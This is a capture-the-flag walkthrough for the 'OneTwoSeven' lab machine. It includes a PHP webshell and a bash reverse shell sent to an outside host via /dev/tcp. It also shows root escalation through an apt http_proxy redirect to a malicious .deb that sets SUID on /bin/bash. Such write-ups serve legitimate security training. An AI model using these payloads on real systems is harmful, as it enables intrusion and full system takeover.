OneTwoSeven

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.133 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.-p-
scanning the entire port range, from 1 to 65535.-T5
insane mode, it is the fastest mode of the nmap time template.-Pn
assume the host is online.-n
scan without reverse DNS resolution.-oN
save the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Sat May 6 08:17:20 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.133
Nmap scan report for 10.10.10.133
Host is up (0.073s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
60080/tcp filtered unknown
# Nmap done at Sat May 6 08:17:35 2023 -- 1 IP address (1 host up) scanned in 15.39 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,80,60080 10.10.10.133 -oN targeted
-sC
performs the scan using the default set of scripts.-sV
enables version detection.-oN
save the scan result into file, in this case the targeted file.
# Nmap 7.93 scan initiated Sat May 6 08:17:53 2023 as: nmap -sCV -p22,80,60080 -Pn -n -oN targeted 10.10.10.133
Nmap scan report for 10.10.10.133
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 486c9334165805eb9ae55b96b6d514aa (RSA)
| 256 32b7f3e26dac943e6f11d805b9695845 (ECDSA)
|_ 256 355204dc32691ab7527606e36c171ead (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Page moved.
|_http-server-header: Apache/2.4.25 (Debian)
60080/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 6 08:18:03 2023 -- 1 IP address (1 host up) scanned in 9.77 seconds
The website shows a signup button, and it says something about SFTP.

The signup page gives us some credentials to access the SFTP server.

Let's add the domain name to our /etc/hosts
file.
nano /etc/hosts
# Host addresses
127.0.0.1 localhost
127.0.1.1 alfa8sa
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
f02::2 ip6-allrouters
10.10.10.133 onetwoseven.htb
Exploitation
Using the credentials that we have, we'll see that there is one directory called public_html
in the SFTP server.
sftp ots-mODVhZTM@10.10.10.133
ots-mODVhZTM@10.10.10.133's password: 74f85ae3
Connected to 10.10.10.133.
sftp> ls -l
drwxr-xr-x 2 1001 1001 4096 Feb 15 2019 public_html
Inside there is one file called index.html
.
ls -l public_html/
-rw-r--r-- 1 1001 1001 349 Feb 15 2019 index.html
Let's try to upload a file to that folder.
echo 'testing' > test.txt
sftp> cd public_html/
sftp> put test.txt
Uploading test.txt to /public_html/test.txt
test.txt 100% 8 0.2KB/s 00:00
We can access it from our personal home page.
http://onetwoseven.htb/~ots-mODVhZTM/test.txt

On SFTP server we could try to make a symlink of the root directory into a file called root
.
sftp> symlink / root
Now we'll be able to access the root directory.
http://onetwoseven.htb/~ots-mODVhZTM/root/

There is one directory called htlm-admin
in /var/www/
.

Inside there is one file called .login.php.swp
. Let's download it.

As the file is categorized as a binary, let's get its content with strings
.
strings login.php.swp
...
if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) == '11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8') {
...
<p>Administration backend. For administrators only.</p>
...
<?php if ( $_SERVER['SERVER_PORT'] != 60080 ) { die(); } ?>
...
The file contains a password hash for the ots-admin
. It looks like an administration backend hosted on port 60080. The hash can be broken with crackstation.

As SFTP is available, we could do port forwarding of the 60080 port.
ssh -L 60080:127.0.0.1:60080 -N -f ots-mODVhZTM@10.10.10.133
ots-mODVhZTM@10.10.10.133's password: 74f85ae3
By accessing port 60080 of our localhost we'll see an administration backend.

Using the credentials we have for ots-admin
, we'll be able to log in.

As we can see, there are a few plugins. The OTS Default User
plugin shows credentials for another user.

If we log into the SFTP server with these new credentials, we'll see the flag user.txt
.
sftp ots-yODc2NGQ@10.10.10.133
ots-yODc2NGQ@10.10.10.133's password: f528764d
Connected to 10.10.10.133.
sftp> ls
public_html user.txt
sftp> get user.txt
Fetching /user.txt to user.txt
user.txt 100% 33 0.4KB/s 00:00
sftp> exit
# cat user.txt
ef488fac793e0319d8c9d07254b98b0b
We need to find a way to upload a malicious plugin. The OTS Addon Manager
shows that there are RewriteRules.

Let's click the [DL]
button to download the source code of the plugin.
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); };
# OneTwoSeven Admin Plugin
# OTS Addon Manager
switch (true) {
# Upload addon to addons folder.
case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):
if(isset($_FILES['addon'])){
$errors= array();
$file_name = basename($_FILES['addon']['name']);
$file_size =$_FILES['addon']['size'];
$file_tmp =$_FILES['addon']['tmp_name'];
if($file_size > 20000){
$errors[]='Module too big for addon manager. Please upload manually.';
}
if(empty($errors)==true) {
move_uploaded_file($file_tmp,$file_name);
header("Location: /menu.php");
header("Content-Type: text/plain");
echo "File uploaded successfull.y";
} else {
header("Location: /menu.php");
header("Content-Type: text/plain");
echo "Error uploading the file: ";
print_r($errors);
}
}
break;
# Download addon from addons folder.
case preg_match('/\/addon-download.php/',$_SERVER['REQUEST_URI']):
if ($_GET['addon']) {
$addon_file = basename($_GET['addon']);
if ( file_exists($addon_file) ) {
header("Content-Disposition: attachment; filename=$addon_file");
header("Content-Type: text/plain");
readfile($addon_file);
} else {
header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
die();
}
}
break;
default:
echo "The addon manager must not be executed directly but only via<br>";
echo "the provided RewriteRules:<br><hr>";
echo "RewriteEngine On<br>";
echo "RewriteRule ^addon-upload.php addons/ots-man-addon.php [L]<br>";
echo "RewriteRule ^addon-download.php addons/ots-man-addon.php [L]<br><hr>";
echo "By commenting individual RewriteRules you can disable single<br>";
echo "features (i.e. for security reasons)<br><br>";
echo "<font size='-2'>Please note: Disabling a feature through htaccess leads to 404 errors for now.</font>";
break;
}
?>
To upload a plugin successfully, the script checks if the /addon-upload.php
string is in the URL. Then it puts it in the /addons
directory. But the Plugin Upload
component is disabled.

But, as it is disabled in the front end, we could change it. Select the Submit
button, and edit it as HTML.

Then, delete the disabled="disabled"
tag. Note that the action
tag is set to addon-upload.php
. But as we saw in the OTS Addon Manager, some RewriteRules change addon-download.php
to addons/ots-man-addon.php
. To make it work, we'll have to set the action tag to /addon-download.php/addon-upload.php
.

Now, create a simple webshell, and upload it.
nano pwn.php
<?php
echo "<pre>" . system($_GET['cmd']) . "</pre>";
?>
The webshell gets uploaded successfully.

Time to get a shell. First, let's set a netcat listener on port 4444.
nc -lvnp 4444
-l
listen mode.-v
verbose mode.-n
numeric-only IP, no DNS resolution.-p
specify the port to listen on.
Then, send a reverse shell and get access to the server as www-data
.
curl 'http://localhost:60080/addons/pwn.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.6/4444+0>%261"'
Listening on 0.0.0.0 4444
Connection received on 10.10.10.133 50804
bash: cannot set terminal process group (1581): Inappropriate ioctl for device
bash: no job control in this shell
www-admin-data@onetwoseven:/var/www/html-admin/addons$ whoami
whoami
www-admin-data
Privilege Escalation
First, let's set an interactive TTY shell.
script /dev/null -c /bin/bash
Then I press Ctrl+Z
and execute the following command on my local machine:
stty raw -echo; fg
reset
Terminal type? xterm
Next, I export a few variables:
export TERM=xterm
export SHELL=bash
Finally, I run the following command on our local machine:
stty size
51 236
And set the proper dimensions in the victim machine:
stty rows 51 columns 236
If we check the sudo permissions, we'll see that we can update and upgrade the system as root. We can also change the http_proxy
variable.
sudo -l
Matching Defaults entries for www-admin-data on onetwoseven:
env_reset, env_keep+="ftp_proxy http_proxy https_proxy no_proxy", mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-admin-data may run the following commands on onetwoseven:
(ALL : ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/apt-get upgrade
We could try to redirect to all the server traffic to our machine changing the http_proxy
variable, so when we run the update and the upgrade, it will try to check the apt repository from our machine. We could create a malicious .deb
file for a new version of any program, so when we do the update, the server will download and execute the malicious .deb
file. First, set the http_proxy
variable to our proxy.
export http_proxy=http://10.10.14.6:8001
Then, set the proxy on port 8001 on our local machine.
proxy --hostname 0.0.0.0 --port 8001
Now, set the HTTP server from which the server will download the malicious files.
python -m http.server 80
Try to do an update from the machine to see the traffic flowing. As we can see in the proxy, it is trying to fetch data from packages.onetwoseven.htb
.
sudo apt-get update
...
2023-05-10 09:24:14,909 - pid:427441 [W] server.connect_upstream:607 - Unable to connect with upstream packages.onetwoseven.htb:80 due to [Errno -2] Name or service not known
...
Let's point that domain to our localhost in the /etc/hosts
file.
nano /etc/hosts
# Host addresses
127.0.0.1 localhost packages.onetwoseven.htb
127.0.1.1 alfa8sa
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
f02::2 ip6-allrouters
10.10.10.133 onetwoseven.htb
If we run the update again, we'll see that now it is trying to fetch data from our HTTP server. As we can see, it is trying to get the /devuan/dists/ascii/main/binary-amd64/Packages.gz
file. First, create the directories.
mkdir -p devuan/dists/ascii/main/binary-amd64/
As we can see, telnet is currently in the version 0.17-41.
dpkg -l
||/ Name Version Architecture Description
+++-=====================-==================-==================-====================
ii telnet 0.17-41 amd64 basic telnet client
...
Now, let's create the malicious .deb
file. First create the DEBIAN
and usr
directories inside malicious_telnet
.
mkdir malicious_telnet
mkdir malicious_telnet/DEBIAN
mkdir malicious_telnet/usr
Then, create the malicious_telnet/DEBIAN/control
file with the following content.
nano malicious_telnet/DEBIAN/control
Package: telnet
Maintainer: alfa8sa
Version: 0.17-42
Architecture: amd64
Description: alfa8sa
Create the file malicious_telnet/DEBIAN/postinst
with the bash code that we want to run on the system as root.
nano malicious_telnet/DEBIAN/postinst
#!/bin/bash
chmod u+s /bin/bash
Create the telnet_0.17-42_amd64.deb
file.
dpkg-deb -b malicious_telnet/ telnet_0.17-42_amd64.deb
Get the SHA-256 hash fo the telnet_0.17-42_amd64.deb
file.
sha256sum telnet_0.17-42_amd64.deb
203376e7be8ca6747fc3dc2e858ffe531749c94c6785f1931685eab54169258d telnet_0.17-42_amd64.deb
Then, create the malicious Packages
file, and compress it.
nano Packages
gzip Packages -c > Packages.gz
Package: telnet
Version: 0.17-42
Maintainer: alfa8sa
Architecture: amd64
Description: alfa8sa
Section: net
Priority: standard
Filename: dists/ascii/main/binary-amd64/telnet_0.17-42_amd64.deb
Size: 716
SHA256: 203376e7be8ca6747fc3dc2e858ffe531749c94c6785f1931685eab54169258d
Finally, if we update the server, it will download the /devuan/dists/ascii/main/binary-amd64/Packages.gz
file, and when we update it, it will download the /devuan/dists/ascii/main/binary-amd64/telnet_0.17-42_amd64.deb
and run the bash script we made, giving SUID permissions to the /bin/bash
binary.
sudo apt-get update
sudo apt-get upgrade
ls -l /bin/bash
-rwsr-xr-x 1 root root 1099016 May 15 2017 /bin/bash
Get a bash as root, and then all we have to do is reap the harvest and take the root flag.
bash -p
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt
e4c3e5bee284ce35b47a31559547f962
Last updated
Was this helpful?